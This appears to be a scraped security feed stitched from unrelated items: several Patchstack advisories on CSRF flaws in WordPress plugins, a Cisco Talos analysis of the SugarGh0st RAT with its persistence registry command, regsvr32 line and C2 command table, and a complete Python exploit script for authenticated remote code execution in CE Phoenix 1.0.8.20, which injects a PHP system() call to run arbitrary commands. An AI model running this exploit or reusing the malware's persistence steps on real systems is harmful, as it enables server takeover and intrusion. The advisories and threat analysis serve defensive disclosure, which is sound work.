Cross-Site Request Forgery (CSRF) vulnerability in DAEXT League Table allows Cross Site Request Forgery.This issue affects League Table: from n/a through 1.13.



**Solution**

 No fix available

No patched version is available.

Nguyen Xuan Chien discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress League Table Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-48334: WordPress League Table plugin <= 1.13 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in WebToffee Decorator – WooCommerce Email Customizer allows Cross Site Request Forgery.This issue affects Decorator – WooCommerce Email Customizer: from n/a through 1.2.7.



**Solution**

 Update to fix

Update the WordPress Decorator – WooCommerce Email Customizer plugin to the latest available version (at least 1.2.8).

Found this useful? Thank thiennv for reporting this vulnerability. Buy a coffee ☕

thiennv discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Decorator – WooCommerce Email Customizer Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has been fixed in version 1.2.8.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-48284: WordPress Decorator – WooCommerce Email Customizer plugin <= 1.2.7 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Awesome Support Team Awesome Support – WordPress HelpDesk & Support Plugin allows Cross Site Request Forgery.This issue affects Awesome Support – WordPress HelpDesk & Support Plugin: from n/a through 6.1.4.



**Solution**

 Update to fix

Update the WordPress Awesome Support plugin to the latest available version (at least 6.1.5).

Found this useful? Thank thiennv for reporting this vulnerability. Buy a coffee ☕

thiennv discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Awesome Support Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has been fixed in version 6.1.5.

**Other vulnerabilities in this plugin**

 0 present

 12 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-48323: WordPress Awesome Support – WordPress HelpDesk & Support Plugin plugin <= 6.1.4  - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Stormhill Media MyBookTable Bookstore by Stormhill Media allows Cross Site Request Forgery.This issue affects MyBookTable Bookstore by Stormhill Media: from n/a through 3.3.4.



**Solution**

 No fix available

No patched version is available.

Nguyen Xuan Chien discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress MyBookTable Bookstore Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**Other vulnerabilities in this plugin**

 1 present

 1 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-48331: WordPress MyBookTable Bookstore by Stormhill Media plugin <= 3.3.4 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in PressTigers Simple Testimonials Showcase allows Cross Site Request Forgery.This issue affects Simple Testimonials Showcase: from n/a through 1.1.5.



**Solution**

 No fix available

No patched version is available.

Nguyen Xuan Chien discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Simple Testimonials Showcase Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-48283: WordPress Simple Testimonials Showcase plugin <= 1.1.5 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Mike Strand Bulk Comment Remove allows Cross Site Request Forgery.This issue affects Bulk Comment Remove: from n/a through 2.



**Solution**

 No fix available

No patched version is available.

Nguyen Xuan Chien discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Bulk Comment Remove Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-48330: WordPress Bulk Comment Remove plugin <= 2 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in finnj Frontier Post allows Cross Site Request Forgery.This issue affects Frontier Post: from n/a through 6.1.



**Solution**

 No fix available

No patched version is available.

Nguyen Xuan Chien discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Frontier Post Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**Other vulnerabilities in this plugin**

 1 present

 1 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-6137: WordPress Frontier Post plugin <= 6.1 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Andrea Landonio Taxonomy filter allows Cross Site Request Forgery.This issue affects Taxonomy filter: from n/a through 2.2.9.



**Solution**

 No fix available

No patched version is available.

Nguyen Xuan Chien discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Taxonomy filter Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-48282: WordPress Taxonomy filter plugin <= 2.2.9 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cisco Talos recently discovered a malicious campaign that likely started as early as August 2023, delivering a new remote access trojan (RAT) we dubbed “SugarGh0st.”

*   Cisco Talos recently discovered a malicious campaign that likely started as early as August 2023, delivering a new remote access trojan (RAT) we dubbed “SugarGh0st.” 
*   We found evidence suggesting the threat actor is targeting the Uzbekistan Ministry of Foreign Affairs and users in South Korea. 
*   We assess with high confidence that the SugarGh0st RAT is a new customized variant of Gh0st RAT, an infamous trojan that’s been active for more than a decade, with customized commands to facilitate the remote administration tasks as directed by the C2 and modified communication protocol based on the similarity of the command structure and the strings used in the code.
*   We observed two infection chains leveraging Windows Shortcut embedded with malicious JavaScript to deliver the components to drop and launch the SugarGh0st payload.
*   In one infection chain, the actor leverages the DynamixWrapperX tool to enable Windows API function calls in malicious JavaScript for running the shellcode.
*   Talos assesses with low confidence that a Chinese-speaking threat actor is operating this campaign based on the artifacts we found in the attack samples.

**Suspected Chinese Actor targeting Uzbekistan and South Korea**

Talos discovered four samples deployed in this campaign that are likely targeting users in Uzbekistan and South Korea based on the language of the decoy documents, the lure content, and distribution indicators Talos found in the wild. 

One of the samples is sent to users in the Ministry of Foreign Affairs of Uzbekistan. The sample is an archive embedded with a Windows ShortCut LNK file which, upon opening, drops the decoy document “Investment project details.docx'' with Uzbek content about a presidential decree in Uzbekistan focused on enhancing state administration in technical regulation. The lure content of the decoy document was published in multiple Uzbekistan sources in 2021. The initial vector of the campaign is likely a phishing email with an attached malicious RAR archive file sent to an employee of the Ministry of Foreign Affairs.  

Decoy document in Uzbek language.

Besides Uzbekistan, we also observed indications of targets in South Korea. We found three other decoy documents written in Korean dropped by the malicious JavaScript file embedded in the Windows Shortcut, seemingly distributed in South Korea. The decoy document named “Account.pdf” was forged as a Microsoft account security notification for confirming an account registration with a generated password. Another decoy named “MakerDAO MKR approaches highest since August.docx'' uses the copied content from 코인데스크코리아 (CoinDesk Korea, a Korean news outlet that covers the blockchain). The third decoy document, named “Equipment\_Repair\_Guide.docx,” has the lure information with instructions for computer maintenance in an organization. To reinforce our assessment of South Korean targets, we also observed C2 domain requests from IPs originating from South Korea. 

The decoy documents found in the samples collected by Talos.

During our analysis, we observed a couple of artifacts that suggested the actor might be Chinese-speaking. Two of the decoy files we found have the “last modified by” names shown as “浅唱丶低吟” (Sing lightly, croon) and “琴玖辞” (seems to be the name of a Chinese novel author), which are both Simplified Chinese. 

The author and last editor’s information on decoy documents.

Besides the decoy document metadata, the actor prefers using SugarGh0st, a Gh0st RAT variant. The Gh0st RAT malware is a mainstay in the Chinese threat actors’ arsenal and has been active since at least 2008. Chinese actors also have a history of targeting Uzbekistan. The targeting of the Uzbekistan Ministry of Foreign Affairs also aligns with the scope of Chinese intelligence activity abroad. 

**SugarGh0st is a new Gh0st RAT variant**

Talos discovered a RAT that we call SugarGh0st delivered as a payload in this campaign. Talos assesses with high confidence that SugarGh0st is a customized variant of the Gh0st RAT. Gh0st RAT was developed by a Chinese group called 红狼小组 (C.Rufus Security Team), and its source code was publicly released in 2008. The public release of the source code has made it easy for threat actors to get access to it and tailor it to fulfill their malicious intentions. There are several variants of Gh0st RAT in the threat landscape, and it remains a preferred tool for many Chinese-speaking actors, allowing them to conduct surveillance and espionage attacks.

Compared with the original Gh0st malware, SugarGh0st is equipped with some customized features in its reconnaissance capability in looking for specific Open Database Connectivity (ODBC) registry keys, loading library files with specific file extensions and function name, customized commands to facilitate the remote administration tasks directed by the C2, and to evade earlier detections. The C2 communication protocol is also modified. The first eight bytes of the network packet header are reserved as magic bytes versus the first five in the earlier Gh0st RAT variants. The remaining features, including taking full remote control of the infected machine, providing real-time and offline keylogging, hooks to the webcam of an infected machine, and downloading and running other arbitrary binaries on the infected host are aligned with the features of earlier Gh0st RAT variants. 

**A multi-stage infection chain **

Talos discovered two different infection chains employed by the threat actor to target the victims in this campaign. One of the infection chains decrypts and executes the SugarGh0st RAT payload, the customized variant of the Gh0st RAT. Another infection chain leverages the DynamicWrapperX loader to inject and run the shellcode that decrypts and executes SugarGh0st. 

**Infection Chain No. 1**

The first infection chain starts with a malicious RAR file containing a Windows Shortcut file with a double extension. When a victim opens the shortcut file, it runs a command to drop and execute an embedded JavaScript file. The JavaScript eventually drops a decoy, an encrypted SugarGh0st payload, DLL loader and batch script. Then, the JavaScript executes the batch script to run the dropped DLL loader by sideloading it with a copied rundll32. The DLL loader will decrypt the encrypted SugarGh0st payload in memory and run it reflectively. 

**Shortcut file embedded with malicious JavaScript dropper**

The Windows shortcut file discovered in this attack is embedded with JavaScript and has command line arguments to drop and execute it. Upon the victim opening the LNK file, the command line argument of the LNK file runs to locate and load the JavaScript with the string start of “var onm=” which is the beginning of the JavaScript dropper and drops the JavaScript into the %temp% location. After that, the dropped JavaScript is executed using the living-off-the-land binary (LoLBin) cscript. 

Sample of malicious LNK file.

**JavaScript dropper **

The JavaScript dropper is a heavily obfuscated script embedded with base64 encoded data of the other components of the attack. The JavaScript decodes and drops the embedded files into the %TEMP% folder, including a batch script, a customized DLL loader, an encrypted SugarGh0st payload, and a decoy document. It first opens the decoy document to masquerade as legitimate action, then copies the legitimate rundll32 executable from the “Windows\\SysWow64” folder into the %TEMP% folder. Finally, it executes the batch script loader from the %TEMP% location and runs the customized DLL loader. The JavaScript deleted itself from the file system afterward. 

The JavaScript dropper.

**Batch script loader**

The batch script, in this instance, is named “ctfmon.bat” and has the commands to run the dropped customized DLL loader. When executed, it sideloads the DLL loader with rundll32.exe and executes the function which is DllUnregisterServer, typically used by COM (Component Object Model) DLLs.

The batch script loader.

**DLL Loader decrypts and reflectively loads the SugarGh0st payload**

The customized DLL loader named “MSADOCG.DLL” (name of the DLL associated with Microsoft's ActiveX Data Objects (ADO) technology) is a 32-bit DLL written in C++ and implemented as a COM object component. The loader includes packed code that is unpacked with custom unpacking code. When the DLL is run, it unpacks the code to read the dropped encrypted SugarGh0st payload file named “DPLAY.LIB '' from the %TEMP% location, decrypts it and runs it in the memory. 

Stub code to unpack code.

Function to load the encrypted payload.

**Infection chain No. 2**

Similar to the first infection chain, this attack also starts with a RAR archive file containing a malicious Windows Shortcut file forged as the decoy document. The Windows shortcut file, by executing the embedded commands, drops the JavaScript dropper file into the %TEMP% location and executes it with cscript. The JavaScript in this attack drops a decoy document, a legitimate DynamicWrapperX DLL, and the encrypted SugarGh0st. The JavaScript uses the legitimate DLL to enable running the embedded shellcode for running the SugarGh0st payload. 

**JavaScript leverages DynamicWrapperX to run shellcode that launches SugarGh0st**

The JavaScript used in this infection chain is also heavily obfuscated and is embedded with base64-encoded data of other components of the attack, including a shellcode. When the JavaScript is executed, it drops an encrypted SugarGh0st, a DLL called “libeay32.dll” and the decoy document. The JavaScript opens the decoy document and copies Wscript.exe to the %TEMP% folder as dllhost.exe. It runs the dropped JavaScript again using the dllhost.exe and creates a registry subkey called “CTFMON.exe” in the Run registry key to establish persistence. 

Registry Key

HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

Subkey

CTFMON.exe

Value

“cmd /c start C:\\Users\\user\\AppData\\Local\\Temp\\dllhost.exe C:\\Users\\user\\AppData\\Local\\Temp\\~204158968.js”

The file “libeay32.dll” is a tool called DynamicWrapperX (originally named “dynwrapx.dll”) developed by Yuri Popov. This tool is an ActiveX component that enables Windows API function calls in scripts (JScript, VBScript, etc.). The attacker can use this to run shellcode via the JavaScript dropper. But, they must first run regsvr.exe to install the component. 

C:\\Windows\\system32\\regsvr32 /i /s C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\libeay32.dll

The DynamicWrapperX DLL registers its member functions in the victim’s machine by creating a registry subkey CLSID with the value “89565275-A714-4a43-912E-978B935EDCCC” in Software\\Classes\\DynamicWrapperX registry key. The JavaScript containing the ActiveX components executes the embedded shellcode using the DynamixWrapperX DLL. 

The shellcode has the API hashes and instructions to load and map to the functions necessary for process injection from Kernel32.dll. It also loads two other DLLs, User32.dll and shlwapi.dll. Then, it loads the encrypted SugarGh0st “libeay32.lib” from the %TEMP% location, decrypts it, and reflectively loads it into the memory space allocated in the dllhost.exe process. 

Shellcode that loads and decrypts the encrypted SugarGh0st. 

**Analysis of SugarGh0st   **

The SugarGh0st sample analyzed by Cisco Talos is a 32-bit dynamic link library in C++ compiled on Aug. 23, 2023. During its initial execution, SugarGh0st creates a mutex on the victim’s machine using the hard-coded C2 domain as an infection marker and starts the keylogging function. The keylogger module creates a folder “WinRAR'' in the location %Program Files% and writes the keylogger file “WinLog.txt.” 

The Keylogging function of SugarGh0st.

SugarGh0st uses “WSAStartup” functions, a hardcoded C2 domain and port to establish the connection to the C2 server. Talos discovered two C2 domains, login\[.\]drive-google-com\[.\]tk and account\[.\]drive-google-com\[.\]tk, used by the threat actor in this campaign.

The C2 communication function of SugarGh0st.

After launching, SugarGh0st attempts to establish the connection to C2 every 10 seconds. If successful, the first outgoing packet always consists of the same eight bytes “0x000011A40100” as a heartbeat. After the heartbeat is successfully sent, SugarGh0st sends the buffer data, which includes the following:

*   Computer name
*   Operating system version 
*   Root and other drive information of victim machine
*   Registry key “HKEY\_LOCAL\_MACHINE\\Software\\ODBC\\H” if exist
*   Campaign codes 1 (Month and Year) and code 2 (in our samples are “default”)
*   Windows version number
*   Root drive’s volume serial number

A sample packet that was sent by SugarGh0st to C2.

SugarGh0st is a fully functional backdoor that can execute most remote control functionalities. It can launch the reverse shell and run the arbitrary commands sent from C2 as strings using the command shell.

The Reverse shell function.

SugarGh0st can collect the victim’s machine hostname, filesystem, logical drive and operating system information. It can access the running process information of the victim’s machine and control the environment by accessing the process information and terminating the process as directed by the C2 server. 

It can also manage the machine’s service manager by accessing the configuration files of the running services and can start, terminate or delete the services.

Function to operate services.

SugarGh0st can take screenshots of the victim machine’s current desktop and switch to multiple windows. It can access the victim’s machine camera to capture the screen and compress the captured data before sending it to the C2 server. SugarGh0st can perform various file operations, including searching, copying, moving and deleting the files on the victim’s machine.

It also clears the machine’s Application, Security and System event logs to hide the malicious operations logged to evade detection. 

Function to clean event logs.

SugarGh0st performs the remote control functionalities, including those discussed earlier, as directed by the C2 server with the four-byte hex commands and accompanying data. 

**Command**

**Action**

0x20000001

Adjust process privilege to “SeShutdownPrivilege” and force shut down the host.

0x20000002

Adjust process privilege to “SeShutdownPrivilege” and force reboot the host.

0x20000003

Adjust process privilege to “SeShutdownPrivilege” and force terminate the processes.

0x20000004

Clear event log

0x20000005

Create register key HKEY\_LOCAL\_MACHINE\\Software\\ODBC\\H

0x20000011

Press a key in the default window 

0x20000012

Release a key in the default window 

0x20000013

Set mouse cursor position

0x20000014

Click mouse left button

0x20000015

Release mouse left button

0x20000016

Double click the mouse left button

0x20000017

Click mouse right button

0x20000018

Release mouse right button

0x20000019

Double click the mouse left button

0x21000002

Get the logical drive information of the victim's machine. 

  

0x21000003

Search files on the victims machine filesystem

0x21000004

Delete files on the victim's machine file system

0x21000005

Moves files to the %TEMP% location 

0x21000006

Runs arbitrary shell commands

0x21000007

Copies files on the victim machine 

0x21000008

Move files on the victim's machine

0x21000009

Sends files to the C2 server 

0x2100000A

Sends the data to the windows socket

0x2100000B

Receives files from the C2 server

0x22000001

Sends the screenshot to the C2 server

0x24000001

Read file %ProgramFiles%/WinRAR/~temp.dat (which is encoded with XOR 0x62)

0x24000002

Delete file %ProgramFiles%/WinRAR/~temp.dat

0x23000000

Provides the reverse shell access to the C2 server 

0x25000000

Gets the process information and terminates the process 

0x25000001

Enumerate process information

0x25000002

Terminate Process

0x25000003

Access the victims machine service manager 

0x25000004

Access the configuration files of the running services

0x25000005

Starting service

0x25000006

Terminating and deleting the services. 

0x25000010

Performs the Windows operations

0x25000011

Get window list

0x25000012

Get message from Window

0x28000000

Capture window and perform a series of Window operations based on the command with SendMessage API.

0x28000002

Find a . OLE file under “%PROGRAMFILES%\\\\Common Files\\\\DESIGNER'' and launch

**Coverage**

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat is 62647.

ClamAV detections available for this threat:

Win.Trojan.SugarGh0stRAT-10014937-0

Win.Tool.DynamicWrapperX-10014938-0

Txt.Loader.SugarGh0st\_Bat-10014939-0

Win.Trojan.SugarGh0stRAT-10014940-0

Lnk.Dropper.SugarGh0stRAT-10014941-0

Js.Trojan.SugarGh0stRAT-10014942-1

Win.Loader.Ramnit-10014943-1

Win.Backdoor.SugarGh0stRAT-10014944-0

**Orbital Queries**

Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries related to this threat, please follow the links:

*   SugarGh0st RAT file detected
*   SugarGh0st RAT Registry key 

**Indicators of Compromise**

Indicators of Compromise associated with this threat can be found here.

New SugarGh0st RAT targets Uzbekistan government and South Korea

CE Phoenix version 1.0.8.20 remote code execution exploit written in Python.

    ## Exploit Title: CE Phoenix v1.0.8.20 - Remote Code Execution (RCE) (Authenticated)#### Date: 2023-11-25#### Exploit Author: tmrswrr#### Category: Webapps#### Vendor Homepage: [CE Phoenix](https://phoenixcart.org/)#### Version: v1.0.8.20#### Tested on: [Softaculous Demo - CE Phoenix](https://www.softaculous.com/apps/ecommerce/CE_Phoenix)## EXPLOIT :import requestsfrom bs4 import BeautifulSoupimport sysimport urllib.parseimport randomfrom time import sleepclass colors:    OKBLUE = '\033[94m'    WARNING = '\033[93m'    FAIL = '\033[91m'    ENDC = '\033[0m'    BOLD = '\033[1m'    UNDERLINE = '\033[4m'    CBLACK = '\33[30m'    CRED = '\33[31m'    CGREEN = '\33[32m'    CYELLOW = '\33[33m'    CBLUE = '\33[34m'    CVIOLET = '\33[35m'    CBEIGE = '\33[36m'    CWHITE = '\33[37m' def entry_banner():    color_random = [colors.CBLUE, colors.CVIOLET, colors.CWHITE, colors.OKBLUE, colors.CGREEN, colors.WARNING,                    colors.CRED, colors.CBEIGE]    random.shuffle(color_random)    banner = color_random[0] + """     CE Phoenix v1.0.8.20 - Remote Code Execution \n     Author: tmrswrr    """    for char in banner:        print(char, end='')        sys.stdout.flush()        sleep(0.0045)def get_formid_and_cookies(session, url):    response = session.get(url, allow_redirects=True)    if response.ok:        soup = BeautifulSoup(response.text, 'html.parser')        formid_input = soup.find('input', {'name': 'formid'})        if formid_input:            return formid_input['value'], session.cookies    return None, Nonedef perform_exploit(session, url, username, password, command):    print("\n[+] Attempting to exploit the target...")       initial_url = url + "/admin/define_language.php?lngdir=english&filename=english.php"    formid, cookies = get_formid_and_cookies(session, initial_url)    if not formid:        print("[-] Failed to retrieve initial formid.")        return    # Login    print("[+] Performing login...")    login_payload = {        'formid': formid,        'username': username,        'password': password    }    login_headers = {        'Content-Type': 'application/x-www-form-urlencoded',        'Cookie': f'cepcAdminID={cookies["cepcAdminID"]}',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',        'Referer': initial_url    }    login_url = url + "/admin/login.php?action=process"    login_response = session.post(login_url, data=login_payload, headers=login_headers, allow_redirects=True)    if not login_response.ok:        print("[-] Login failed.")        print(login_response.text)        return    print("[+] Login successful.")    new_formid, _ = get_formid_and_cookies(session, login_response.url)    if not new_formid:        print("[-] Failed to retrieve new formid after login.")        return    # Exploit    print("[+] Executing the exploit...")    encoded_command = urllib.parse.quote_plus(command)    exploit_payload = f"formid={new_formid}&file_contents=%3C%3Fphp+echo+system%28%27{encoded_command}%27%29%3B"    exploit_headers = {        'Content-Type': 'application/x-www-form-urlencoded',        'Cookie': f'cepcAdminID={cookies["cepcAdminID"]}',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',        'Referer': login_response.url    }    exploit_url = url + "/admin/define_language.php?lngdir=english&filename=english.php&action=save"    exploit_response = session.post(exploit_url, data=exploit_payload, headers=exploit_headers, allow_redirects=True)    if exploit_response.ok:        print("[+] Exploit executed successfully.")    else:        print("[-] Exploit failed.")        print(exploit_response.text)        final_response = session.get(url)    print("\n[+] Executed Command Output:\n")    print(final_response.text)  def main(base_url, username, password, command):    print("\n[+] Starting the exploitation process...")    session = requests.Session()    perform_exploit(session, base_url, username, password, command)if __name__ == "__main__":    entry_banner()    if len(sys.argv) < 5:        print("Usage: python script.py [URL] [username] [password] [command]")        sys.exit(1)    base_url = sys.argv[1]    username = sys.argv[2]    password = sys.argv[3]    command = sys.argv[4]    main(base_url, username, password, command)

Tag

#auth